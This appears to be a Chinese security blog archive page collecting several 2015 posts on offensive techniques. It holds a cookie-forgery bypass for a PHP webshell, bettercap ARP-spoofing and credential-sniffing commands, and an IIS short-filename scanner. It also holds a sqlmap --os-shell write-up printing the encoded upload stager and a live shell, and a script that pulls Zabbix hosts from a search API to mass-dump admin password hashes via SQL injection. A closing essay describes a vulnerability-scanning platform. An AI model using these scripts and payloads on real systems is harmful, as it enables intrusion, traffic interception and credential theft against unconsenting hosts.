Silic PHP大马Cookie欺骗漏洞

发布时间:August 27, 2015 // 分类:PHP,代码学习,linux,windows // No Comments

$password="ebd9a3c106064a255aaee28b6eb4f21c";
 
if($_COOKIE['admin_silicpass'] != md5($password)) //如果cookie 里面的admin_silicpass 不等于  md5($password)
{
        ob_start();
        $MSG_TOP = 'LOGIN';
        if(isset($passt))
        {
                $cookietime = time() + 24 * 3600;
                setcookie('admin_silicpass',md5($passt),$cookietime); //问题就是这里  知道了cookied 计算方法完全可以伪造
                if(md5($passt) == md5($password)){die('<meta http-equiv="refresh" content="1;URL=?">');} //看这行 也就是说 $password == $passt 而$password 我们又是知道的 所以就呵呵了
                else{$MSG_TOP = 'PASS IS FALSE';}
        }
Root_Login($MSG_TOP);
ob_end_flush();
exit;
}

更加这个$password 
设置cookie admin_silicpass=b571a9d50cea9d7962781be88992b52a 免密码直接登录了

漏洞比较鸡肋,但不是没用,所以记录下。

https://www.t00ls.net/thread-26062-3-1.html

中间人攻击框架 bettercap 笔记

发布时间:August 26, 2015 // 分类:linux,生活琐事 // No Comments

Mac os x
git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem
brew install libtins

如果出现了

Unable to resolve dependencies: bettercap requires colorize (~> 0.7.5), packetfu (~> 1.1.10), pcaprub (~> 0.12.0)

那么表示是依赖没有安装好.那么换源继续安装

gem sources —remove https://rubygems.org/
gem sources -a https://ruby.taobao.org/
gem sources -l
sudo gem install colorize
sudo gem install pcaprub
sudo gem install packetfu

 

Linux

安装Ruby

sudo apt-get install ruby-dev libpcap-dev

安装bettercap

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem
用法
-I, --interface IFACE 指定Network interface name,默认eth0

-S, --spoofer NAME 指定欺骗模块,此参数默认为ARP,目前仅支持ARP,新版本会添加更多选项

-T, --target ADDRESS 指定单一ip,如果未设置,则代表所有子网,子网所有主机自动扫描,简单高效,十分推荐
-O, --log LOG_FILE 日志功能

-D, --debug 调试功能,会将每一步操作详细记录,便于调试

-L, --local 解析流经本机的所有数据包(此操作会开启嗅探器),此参数默认为关闭

-X, --sniffer 开启嗅探器. --sniffer-pcap FILE 将数据包保存为PCAP文件,可用Wireshark打开(此操作会开启嗅探器) --sniffer-filter EXPRESSION 配置嗅探器使用BPF过滤器(此操作会开启嗅探器)

-P, --parsers PARSERS 指定数据包(此操作会开启嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此参数默认为所有 --no-discovery 只使用当前的ARP缓存,不去扫描其他主机,此参数默认为关闭 --no-spoofing 关闭欺骗模块,也可以使用参数--spoofer NONE代替 --proxy 启用HTTP代理并且重定向所有HTTP请求至本机,此参数默认为关闭 --proxy-port PORT 设置HTTP代理端口,此参数默认为8080 --proxy-module MODULE 指定加载的Ruby模块 --httpd 开启HTTP服务器,此参数默认为关闭 --httpd-port PORT 指定HTTP server port, 此参数默认为8081. --httpd-path PATH 指定HTTP server path,此参数默认为 ./.

-h, --help 英文帮助
示例

默认模式,启用所有功能进行内网Arp欺骗

sudo bettercap -X

截取指定数据包

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

嗅探HTTP通信并保存为pcap文件

sudo bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

启用所有功能进行嗅探,并保存为pcap文件

sudo bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

 

http://www.1990day.com/bettercap-mitm-framework/

IIS短文件名扫描工具

发布时间:August 25, 2015 // 分类:运维工作,开发笔记,工作日志,linux,windows,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import httplib
import urlparse
import string
import threading
import Queue
import time
import string


class Scanner():
    def __init__(self, target):
        self.target = target
        self.scheme, self.netloc, self.path, params, query, fragment = urlparse.urlparse(target)

        if self.path[-1:] != '/':    # ends with slash
            self.path += '/'
        self.payloads = list('abcdefghijklmnopqrstuvwxyz0123456789_-')
        self.files = []
        self.dirs = []
        self.queue = Queue.Queue()
        self.lock = threading.Lock()
        self.threads = []
    

    def _conn(self):
        try:
            if self.scheme == 'https':
                conn = httplib.HTTPSConnection(self.netloc)
            else:
                conn = httplib.HTTPConnection(self.netloc)
            return conn
        except Exception, e:
            print '[Exception in function _conn]', e
            return None



    # fetch http response status code
    def _get_status(self, path):
        try:
            conn = self._conn()
            conn.request('GET', path)
            status = conn.getresponse().status
            conn.close()
            return status
        except Exception, e:
            raise Exception('[Exception in function _get_status] %s' % str(e) )



    # test weather the server is vulerable
    def is_vul(self):
        try:
            status_1 = self._get_status(self.path + '/*~1****/a.aspx')    # an existed file/folder
            status_2 = self._get_status(self.path + '/san1e*~1****/a.aspx')    # not existed file/folder
            if status_1 == 404 and status_2 == 400:
                return True
            return False
        except Exception, e:
            raise Exception('[Exception in function is_val] %s' % str(e) )



    def run(self):
        # start from root path
        for payload in self.payloads:
            self.queue.put( (self.path + payload, '****') )    # filename, extention
        for i in range(10):  
            t = threading.Thread(target=self._scan_worker)
            self.threads.append(t)
            t.start()

    def report(self):
        for t in self.threads:
            t.join()
        self._print('-'* 64)
        for d in self.dirs:
            self._print('Dir:  ' + d)
        for f in self.files:
            self._print('File: ' + f)
        self._print('-'*64)
        self._print('%d Directories, %d Files found in toal' % (len(self.dirs), len(self.files)) )


    def _print(self, msg):
        self.lock.acquire()
        print msg
        self.lock.release()

    def _scan_worker(self):
        while True:
            try:
                url, ext = self.queue.get(timeout=3)
                status = self._get_status(url + '*~1' + ext + '/1.aspx')
                if status == 404:
                    self._print('Found ' +  url + ext + '\t[scan in progress]')

                    if len(url) - len(self.path)< 6:    # enum first 6 chars only
                        for payload in self.payloads:
                            self.queue.put( (url + payload, ext) )
                    else:
                        if ext == '****':    # begin to scan extention
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + payload + '**') )
                            self.queue.put( (url,'') )    # also it can be a folder
                        elif ext.count('*') == 3:
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + ext[1] + payload + '*') )
                        elif ext.count('*') == 2:
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + ext[1] + ext[2] + payload ) )
                        elif ext == '':
                            self.dirs.append(url + '~1')
                            self._print('Found Dir ' +  url + '~1\t[Done]')

                        elif ext.count('*') == 1:
                            self.files.append(url + '~1.' + ext[1:])
                            self._print('Found File ' + url + '~1.' + ext[1:] + '\t[Done]')
            except Exception,e:
                break

if len(sys.argv) == 1:
    print 'Usage: %s target' % sys.argv[0]
    sys.exit()

target = sys.argv[1]
s = Scanner(target)
if not s.is_vul():
    print 'Sorry, server is not vulerable'
    sys.exit(0)

print 'server is vulerable, please wait, scanning...'
s.run()
s.report()

效果图

Sqlmap写文件为空之谜

发布时间:August 18, 2015 // 分类:PHP,linux,python,windows,转帖文章 // No Comments

恰逢有一个SQL注入可以通过sqlmap进行,而且权限高得离谱,直接就是root权限。既然是root权限当然是想直接getshell咯。可是只是sqlmap -u xxx --os-shell的时候却失败了

$ sqlmap -u 'http://php.0day5.com/login.php' --data='user=josh&pass=pass' --os-shell

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>
[07:26:13] [WARNING] unable to retrieve automatically the web server document root
what do you want to use for web server document root?
[1] common location(s) '/var/www/' (default)
[2] custom location
[3] custom directory list file
[4] brute force search

>
[07:26:13] [WARNING] unable to retrieve automatically any web server path
[07:26:13] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[07:26:14] [WARNING] unable to upload the file stager on '/var/www'
[07:26:14] [INFO] fetched data logged to text files under '/home/0day5/.sqlmap/php.0day5.com'

[*] shutting down at 07:26:14

这里的注入是一个报错的注入,写入失败以为是当前的目录没有可写权限。多次尝试其他的目录都一一失败了。尝试了许久通过其他的办法搞到shell。反过来查看这里为嘛不能写入,查看下/var/www目录的权限

root@targetserver:/var/www# ls -l
total 48
-rw-r--r-- 1 root root 573 Jan 16 2013 alarms.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 css
-rw-r--r-- 1 root root 634 Jan 16 2013 denied.php
-rw-r--r-- 1 root root 304 Jan 16 2013 footer.php
-rw-r--r-- 1 root root 3577 Dec 5 05:47 header.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 images
-rw-r--r-- 1 root root 3516 Jan 16 2013 index.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 js
-rw-r--r-- 1 root root 424 Dec 5 07:26 login.php
-rw-r--r-- 1 root root 198 Jan 16 2013 logout.php
-rw-r--r-- 1 root root 4455 Dec 4 17:01 reports.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:34 tmpubhkn.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuqitu.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:26 tmpurwem.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuvkgz.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuwtqk.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:36 tmpuxycr.php

看到tmp开头的文件我们就知道是sqlmap创建的文件。文件创建成功了但是文件内容却没有写入。为嘛这里不能写入的呢?思索了许久,直接拿在服务器上直接写入需要执行的sql语句,以当前的权限去执行。

SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI'

首先,sqlmap运行的基本要求,提供我的注射参数的输入josh,再接下来,sqlmap运行查询,执行 “LIMIT 0,1 INTO OUTFILE …”语句。输出文件的文件名是随机选择,写入的内容是一个经过转码后的十六进制字符串,解码如下:


<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www> <input type=submit name=upload value=upload></form>";}?>

直接在mysql里面去执行

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI';
Query OK, 0 rows affected (0.00 sec)

当前结果就跟sqlmap一个样子,得到一个空文件,然而下面的这个语句更有用。

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1;
Empty set (0.00 sec)

以下是原文

Recently I was working with a basic SQLi flaw, and wanted to get OS-level access. Naturally, I turned to sqlmap’s “–os-shell” feature.

$ sqlmap -u 'http://targetserver.mytarget.city.nw/login.php' --data='user=josh&pass=pass' --os-shell

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>
[07:26:13] [WARNING] unable to retrieve automatically the web server document root
what do you want to use for web server document root?
[1] common location(s) '/var/www/' (default)
[2] custom location
[3] custom directory list file
[4] brute force search

>
[07:26:13] [WARNING] unable to retrieve automatically any web server path
[07:26:13] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[07:26:14] [WARNING] unable to upload the file stager on '/var/www'
[07:26:14] [INFO] fetched data logged to text files under '/home/jwright/.sqlmap/targetserver.mytarget.city.nw'

[*] shutting down at 07:26:14

The server here is vulnerable to SQLi through an error-based injection, but the os-shell fails to upload the file stager. I assumed the /var/www directory was not writable by the MySQL user, tried some other directories that all failed in the same way, and moved on to other techniques. However, later I saw this in the /var/www directory:

root@targetserver:/var/www# ls -l
total 48
-rw-r--r-- 1 root root 573 Jan 16 2013 alarms.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 css
-rw-r--r-- 1 root root 634 Jan 16 2013 denied.php
-rw-r--r-- 1 root root 304 Jan 16 2013 footer.php
-rw-r--r-- 1 root root 3577 Dec 5 05:47 header.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 images
-rw-r--r-- 1 root root 3516 Jan 16 2013 index.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 js
-rw-r--r-- 1 root root 424 Dec 5 07:26 login.php
-rw-r--r-- 1 root root 198 Jan 16 2013 logout.php
-rw-r--r-- 1 root root 4455 Dec 4 17:01 reports.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:34 tmpubhkn.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuqitu.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:26 tmpurwem.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuvkgz.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuwtqk.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:36 tmpuxycr.php

The files starting with “tmpu” are the stager files created through sqlmap’s os-shell feature. That they are empty explains why sqlmap returned the “unable to upload file stager” error, but since we know the “mysql” account can write here the question remains: why did sqlmap’s os-shell feature fail?

Google’ing for similar situations brought me to Bas’ post describing a similar situation. He manually created the PHP shell with “–sql-shell”, but I wanted to find out why sqlmap failed.

I added a line to the vulnerable login.php script to save queries to a file. Here is what sqlmap does when os-shell is used:

SELECT * FROM user_credentials WHERE `username` = 'josh'
SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI'
  • First, sqlmap runs the basic request, supplying my input ‘josh’ for the injectable parameter.
  • Next, sqlmap runs the query again, appending the “LIMIT 0,1 INTO OUTFILE …” declaration. The outfile filename is randomly selected, and sqlmap supplies a custom line terminator for the content to write to the outfile. This is a large hex string, which decodes to the following:
if (isset($_REQUEST["upload"])){$dir=
$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_F
ILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["
tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["na
me"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file
) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else 
{echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=mu
ltipart/form-data><input type=hidden name=MAX_FILE_SIZE value=10000
00000><b>sqlmap file uploader</b><br><input name=file type=file><br
>to directory: <input type=text name=uploadDir value=/var/www> <inp
ut type=submit name=upload value=upload></form>";}?>

Terrific, this is the sqlmap stager. Still, why does it create the file, but not populate the output file? I ran the query manually from a mysql shell to examine the output:

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI';
Query OK, 0 rows affected (0.00 sec)

OK, that SQL creates the empty file, just like sqlmap does. However, this abbreviated query turned out to be more useful:

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1;
Empty set (0.00 sec)

DOH! I made the cardinal sin of SQL injection exploitation: I didn’t start with valid data.

In my SANS classes, I tell students: Always Start with Valid Data (when performing SQL injection). If you identify a username parameter josh' that returns a database error, that’s great, but don’t supply that to sqlmap. Start with the valid data of josh, and let sqlmap figure out the rest (assisting sqlmap where necessary).

The problem here, and the reason for sqlmap’s empty files, is that the injected SELECT statement doesn’t return any records, so the delimiter PHP code is never written to a file. What does work is this:

$ sqlmap -u 'http://targetserver.mytarget.city.nw/login.php' --data='user=pconnor&pass=pass' --os-shell

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[07:49:38] [WARNING] unable to retrieve automatically any web server path
[07:49:38] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[07:49:38] [INFO] the file stager has been successfully uploaded on '/var/www' - http://targetserver.mytarget.city.nw:80/tmpuiqxs.php
[07:49:38] [INFO] the backdoor has been successfully uploaded on '/var/www' - http://targetserver.mytarget.city.nw:80/tmpbubmd.php
[07:49:38] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> uname -a
do you want to retrieve the command standard output? [Y/n/a] a
command standard output:    'Linux targetserver.mytarget.city.nw 3.2.0-33-generic #52-Ubuntu SMP Thu Oct 18 16:29:15 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux'
os-shell>

Replacing my put-any-username-here “josh” reference with a valid username causes the SQL statement to return at least one record, which prompts the database to write the handler code to the file and returns an os-shell.

A valuable lesson for me, and hopefully others find it useful as well.

FROM:http://www.willhackforsushi.com/?cat=12

python采集fofa批量扫描zabbix

发布时间:August 17, 2015 // 分类:开发笔记,linux,windows,python // No Comments

主要是利用fofa的采集功能,然后提取地址,再加载payload.把结果从里面提取出来

#!/usr/bin/python
#-*- encoding:utf-8 -*-

import urllib2,urllib,cookielib 
import re,sys 
import base64 
import os,json 
 
def vulwebsearch(keywords): 
    vulhostlist=[] 
    urlenkeywords=urllib2.quote(keywords) 
    searchurl="http://fofa.so/api/result?qbase64="+base64.b64encode(keywords)+"&amp;key=d69f306296e8ca95fded42970400ad23&amp;email=her0m@qq.com"
    req=urllib2.urlopen(searchurl) 
    restring=req.read() 
    restring=json.loads(restring) 
    zabbixsqli(restring['results']) 
        
def zabbixsqli(vulhostlist): 
    for vulhost in vulhostlist: 
        if not vulhost.startswith('http'): 
            vulhost="http://"+vulhost 
        zabbix_url=vulhost   
        try: 
            payload="""/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29"""
              
            content=urllib.urlopen(zabbix_url)   
            if content.getcode()==200: 
                fzadminmd5_url=zabbix_url+payload 
                req=urllib2.urlopen(fzadminmd5_url) 
                html=req.read() 
                adminmd5=re.findall("\~.*\~\~",html) 
                if len(adminmd5)==1: 
                    print zabbix_url,adminmd5 
        except: 
            pass
          
if __name__=="__main__": 
      
    if len(sys.argv)!=2: 
        print "Usage:"+"python"+" fofa_zabbix.py "+"keywords"
        print "example:"+"python fofa_zabbix.py title=zabbix"
        sys.exit() 
    else: 
        vulwebsearch(sys.argv[1])

分布式漏洞扫描系统设计与实现

发布时间:August 13, 2015 // 分类:工作日志,运维工作,linux,代码学习,转帖文章,windows,python // No Comments

0x00·概述

1.1 前言
  由于信息在当今社会显得越来越重要,其安全性就越发突出,尤其是在近几年,信息安全越来越受到企业的重视。 如今,几乎所有的互联网都有开发自己的漏洞扫描平台,用于发现内部的安全隐患。此外,很多专业的安全工程师就有自己开发的漏洞挖掘系统,随着各种漏洞盒子的出现,这种系统也越来越多,越来越强大。

1.2 何去何从
   对于一个不是专门做安全的小公司来说,如果大费周章滴自己从头到尾开发一套扫描系统,那绝对是脑袋被驴踢了。但是这绝不意味着我们不去做漏洞扫描系统,相反,我们一定要去做,而且努力在资源有限的情况下做的更好。
   大家都知道,现在网上有很多开源的工具,比如sqlmap, hydra, medusa,openvas等等, 当然也有很多优秀的商业产品,比如WVS等。试想,倘若公司有成千上万个IP和域名,那么让几个安全工程师每天去使用这些不同工具,对公司的内网网进行安全扫描,那这个工作量是很大的,而且这些工作很多都是重复性的工作,所以很自然地想到:做一个自动化的漏洞扫描平台,然后自动调些工具进行扫描,最后将结果进行汇总以便分析。

1.3 可以走的更远一些  
    现在各种应用服务是个非常流行的概念,它可以降低很多使用成本和沟通成本,所以我们可以把漏洞扫描做成了一个平台,相当于做了一个漏洞扫描服务平台,任何对安全不是很了解的同事,不管是开发,还是运维,都可以使用该平台进行安全扫描,及时发现漏洞。如果安全人员只是在产品上线后才进行检测,那么出现踢皮球的事情,产品那边说急着上线,安全这边说不行,最后邮件打架到领导那去了。

    所以,如果条件允许的话,我们可以在产品QA里面加入安全QA流程,任何上线的产品,只需发送消息到此漏洞扫描平台的,就会自动化安全扫描,如果发现漏洞的话,我们可以协助研发人员把漏洞修复,保证产品上线的安全性。


1.4 多余的话 
    集成各种漏洞扫描挖掘工具,确实可以给我们带来很多开发上的便利,但每个公司难免都有一些不同的特点,导致会有一些特殊的需求,比如服务器没有按照标准进行安全加固,WEB服务器没有禁用与运维无关的端口等等,所以我们有必要在实现这些扫描系统的时候,必须做成一个插件式的系统框架,一方面是是可以保持系统稳定,兼容性好,另外一方面可以我们可以根据自己的需求写各种插件。

0x01·系统框架

2.1 概述
    分布式漏洞扫描系统采用分布式的结构方式,可以充分利用云平台的技术优势,对系统中的各个模块要尽量解耦,降低他们之间的依赖程度,使得整个系统具有较高的稳定性和扩展性。
   在设计系统之初,我们就想充分利用各种开源和商业扫描工具,做一个集中式的漏洞扫描平台,避免重复造轮子,加快整个系统的开发速度,同时也有利于方便更新系统的各个插件。
2.2 运行环境
    由于不同的扫描工具,所运行的环境有所不同,导致我们的扫描系统有必要兼容不同的系统。比如hydra, openvas等工具,它们是比较适合运行在Linux上,而WVS,appscan等工具是运行在Windows上,所以我们有必要同时兼容这两大类系统。如果再深入一点,Linux也分为很多种不同的系统,比如CentOS, Ubuntu,Redhat等,而且即便相同的系统,内核版本不同的话,运行环境也是有很大的区别。所以,我们有必要一开始就选择好运行环境,这样可以降低我们的开发的成本,以下表2-1是我们选定的运行环境。


                        表2-1 各节点运行环境
2.3 系统框架
  分布式漏洞扫描系统分为交互展示(web)模块,监控(manager)模块和扫描(scanner)模块三大类。其中,交互展示模块是使用Django实现的一个Web系统,用户可以通过该模块进行任务的下发,待任务结束后,可以查看任务的扫描结果。监控模块主要负责监控整个系统的运行状况,并且将系统的任务状态消息通过邮件的形式推送给你用户等等。扫描模块就是分布式系统的末端,根据运行环境的不同可分为Linux扫描节点和Windows扫描节点两大类,它是直接对目标服务器发起扫描测试的节点,待扫描结束后,就把扫描结果返回给中央数据库,整个系统的框架结构如下图2-1所示。

   从图2-1中,我们可以看到,用户通过Web模块下发扫描任务,当然用户也可以自己创建任务计划,然后监控模块(manager server)会自动根据计划来创建扫描任务。任务创建之后,会根据任务的不同分发到消息队列:如果任务所调用的脚本是运行在Linux环境中,那么该消息就会被发送到Linux消息队列中,如该任务底层所调用的工具是运行在Windows中,那么该消息就会被发送Windows消息队列。Linux/Windows扫描节点会相应地从各自Linux/Windows消息队列中获取扫描任务,然后启动相关的扫描脚本,对目标发起扫描,扫描结束之后,通过WEB模块提供的REST接口同步扫描结果到数据库中。
2.4 部署工具
   为了便于批量部署分布式扫描的各个节点,我们采用fabric进行部署,具体相关的使用方法可以参考如下官网:
 http://www.fabfile.org/
2.5 小结
    各种分布式漏洞扫描系统的实现方式大同小异,大部分都使用了集中式的管理方式,通过消息队列进行任务下发,结束时通过REST接口接收扫描结果,尽量解耦各个模块。

0x02·消息通信

3.1 概述
   分布式的漏洞扫描系统主要分成交互(Web)模块,监控(Manager)模块和扫描(Scanner)模块三大类,当然也有其他的一些实用辅助工具,类如批量部署脚本,数据恢复等等。这三大模块相互联系,相互联系,协调完成扫描任务。
   交互模块主要是用户的操作界面,主要用于发起对目标的扫描任务,制定扫描计划,查看扫描结果等等。监控模块则是负责监视整个系统的运行状态。扫描模块则是具体负责发起扫描进程的。这个三个模块是相互独立,但又通过不同消息通信方式进行协调运作。本章节主要介绍一下各个模块之间的通信方式。
3.2 任务消息的定义
    用户发起的任何一个扫描任务,都需要转换成相应的预定义格式的消息。为方便各个模块之间的消息解析处理,我们将消息定义的格式如下:


3.3 任务消息的传递
